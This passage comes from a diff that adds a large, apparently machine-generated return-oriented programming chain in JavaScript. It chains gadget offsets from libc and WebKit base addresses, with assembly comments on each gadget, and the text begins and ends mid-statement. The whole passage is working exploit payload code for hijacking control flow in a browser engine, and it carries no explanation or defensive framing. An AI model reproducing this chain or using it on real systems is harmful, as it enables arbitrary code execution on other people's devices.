rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+203672, //L3220 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3219: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+772328,); //pop rcx +//L3220: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+203776, //L3223 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+203760, //L3222 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3222: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3223: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+203936, //L3226 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+203968, //L3228 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+203920, //L3225 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+203952, //L3227 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3225: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3226: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3227: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3228: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+204064, //L3230 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+204048, //L3229 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3229: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3230: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L3232: +ropchain+204168, //L3231 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+223288, //L3233 +//L3231: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796 //pop rax +]); +//L3234: +db([1, 0]); // 0x1 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+204304, //L3236 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3235: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+772328,); //pop rcx +//L3236: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+204408, //L3239 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+204392, //L3238 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3238: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3239: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+204568, //L3242 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+204600, //L3244 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+204552, //L3241 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+204584, //L3243 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3241: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3242: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3243: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3244: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+204696, //L3246 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+204680, //L3245 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3245: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3246: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L3248: +ropchain+204800, //L3247 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+221960, //L3249 +//L3247: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796 //pop rax +]); +//L3250: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L3251: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+204984, //L3253 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3252: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+772328,); //pop rcx +//L3253: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+205088, //L3256 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+205072, //L3255 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3255: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3256: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+205248, //L3259 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+205280, //L3261 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+205232, //L3258 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+205264, //L3260 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3258: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3259: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3260: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3261: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+205376, //L3263 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+205360, //L3262 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3262: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3263: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L3265: +ropchain+205480, //L3264 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+213944, //L3266 +//L3264: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+205608, //L3267 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+205640, //L3269 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+205624, //L3268 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3267: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3268: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3269: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+205744, //L3271 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+205760, //L3272 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3270: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+772328,); //pop rcx +//L3271: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3272: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3274: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L3275: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+205920, //L3278 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+205904, //L3277 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3277: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3278: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+206024, //L3281 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+206040, //L3282 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3280: +db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+772328,); //pop rcx +//L3281: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3282: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3284: +db([4294967244, 4294967295]); // -0x34 +set_gadget(libc_base+772328,); //pop rcx +//L3285: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+206160, //L3288 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3287: +db([65536, 0]); // 0x10000 +set_gadget(libc_base+768796,); //pop rax +//L3288: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+206216, //L3290 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3290: +db([0, 0]); // 0x0 +//L3289: +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+206280, //L3293 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3292: +db([4294967244, 4294967295]); // -0x34 +set_gadget(libc_base+772328,); //pop rcx +//L3293: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+206384, //L3296 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+206368, //L3295 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3295: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3296: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+206544, //L3299 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+206576, //L3301 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+206528, //L3298 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+206560, //L3300 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3298: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3299: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3300: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3301: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+206656, //L3302 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+206672, //L3303 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3302: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3303: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+206816, //L3307 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+206832, //L3308 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+206800, //L3306 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L3305: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3306: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3307: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3308: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+206944, //L3309+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+206936, //L3309 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L3309: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+206960, //L3309+24 +ropchain+212336, //L3304 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3310: +db([4294967244, 4294967295]); // -0x34 +set_gadget(libc_base+772328,); //pop rcx +//L3311: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+207096, //L3314 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+207080, //L3313 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3313: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3314: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+207256, //L3317 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+207288, //L3319 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+207240, //L3316 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+207272, //L3318 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3316: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3317: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3318: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3319: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+207368, //L3320 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+207384, //L3321 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3320: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3321: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+207480, //L3323 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+207464, //L3322 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3322: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3323: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+207576, //L3325 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3324: +db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+772328,); //pop rcx +//L3325: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+207680, //L3328 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+207664, //L3327 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3327: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3328: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+207824, //L3332 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+207792, //L3330 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+207808, //L3331 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3330: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3331: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3332: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+207920, //L3334 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3333: +db([4294967272, 4294967295]); // -0x18 +set_gadget(libc_base+772328,); //pop rcx +//L3334: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+208024, //L3337 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+208008, //L3336 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3336: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3337: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+208184, //L3340 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+208216, //L3342 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+208168, //L3339 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+208200, //L3341 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3339: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3340: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3341: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3342: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+208312, //L3344 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+208296, //L3343 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3343: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3344: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L3346: +ropchain+208416, //L3345 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+217976, //L3347 +//L3345: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+208504, //L3349 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3348: +db([4294967240, 4294967295]); // -0x38 +set_gadget(libc_base+772328,); //pop rcx +//L3349: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L3351: +db([4294967240, 4294967295]); // -0x38 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+208648, //L3354 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+208632, //L3353 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L3353: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3354: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+208808, //L3357 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+208840, //L3359 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+208792, //L3356 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+208824, //L3358 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3356: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3357: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3358: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3359: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+208920, //L3360 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+208936, //L3361 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3360: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3361: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+209032, //L3363 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+209016, //L3362 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L3362: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3363: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+209144, //L3366 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L3364: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3365: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L3366: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+209256, //L3367 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+209288, //L3369 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+209272, //L3368 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L3367: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L3368: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L3369: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+15055763, //cmp rax, rcx ; sete al +webkit_base+8949069, //setle al 